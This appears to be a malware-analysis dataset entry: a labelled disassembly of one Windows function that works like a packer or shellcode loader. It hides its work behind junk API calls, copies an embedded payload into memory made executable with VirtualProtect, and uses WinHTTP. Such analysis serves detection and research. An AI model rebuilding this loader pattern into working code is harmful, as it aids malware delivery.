Function at 0x405e56
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Initialize winhttp library
Read file on windows
Receive http response

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x103c
call fcn.00413b00
push ebx
push esi
push edi
xor edi, edi
cmp dword [0x90c05c], 0x5b1
jne 0x405eed
push edi
lea eax, [ebp - 0x838]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push edi
push edi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
lea eax, [ebp - 0x18]
push eax
push edi
call dword [sym.imp.GDI32.dll_GetBitmapDimensionEx]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push edi
call fcn.00406ea7
pop ecx
push edi
push edi
push edi
push edi
call fcn.00406bbe
add esp, 0x10
lea esi, [ebp - 0x10]
call fcn.00405ad0
mov ecx, esi
call fcn.00405af0
push edi
call fcn.004067a1
pop ecx
push edi
call fcn.0040678b
pop ecx
push edi
push edi
call fcn.004063b4
pop ecx
pop ecx
push edi
call fcn.00407230
add dword [0x90c05c], 0x1134b
push dword [0x90c05c]
push edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x8e51fc], eax
mov esi, 0x1e6cc
push edi
push edi
call dword [sym.imp.USER32.dll_LoadMenuW]
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
lea eax, [ebp - 0x10]
push eax
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec esi
jne 0x405f0e
lea eax, [ebp - 0x1c]
push eax
push 0x40
push dword [0x90c05c]
push dword [0x8e51fc]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x206d47
jg 0x405f67
inc esi
cmp esi, 0x4f6a4
jl 0x405f4d
xor esi, esi
cmp dword [0x90c05c], edi
jbe 0x405fb9
cmp dword [0x90c05c], 0xa8
mov eax, dword [0x90cac0]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x8e51fc]
mov byte [ecx + esi], al
jne 0x405fb0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push 0x4058a4
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push edi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
inc esi
cmp esi, dword [0x90c05c]
jb 0x405f71
xor esi, esi
mov eax, dword [0x90c05c]
add eax, esi
cmp eax, 0xe
jne 0x406002
push edi
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
push edi
push edi
lea eax, [ebp - 0x838]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
inc esi
cmp esi, 0x39621
jl 0x405fbb
call fcn.00405d83
xor esi, esi
push edi
call ebx
cmp esi, 0x26
jne 0x40601f
call fcn.00405e3c
inc esi
cmp esi, 0x6753f
jl 0x406012
push 0x7b
pop esi
cmp dword [0x90c05c], 0x86
jne 0x40609a
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCommState]
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push edi
lea eax, [ebp - 0x438]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push edi
lea eax, [ebp - 0x1038]
push eax
push edi
push 0x4058d8
push edi
push edi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push edi
push edi
push edi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
push edi
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_GetCharWidthA]
dec esi
jne 0x40602b
push 0x4058e4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop edi
pop esi
pop ebx
leave
ret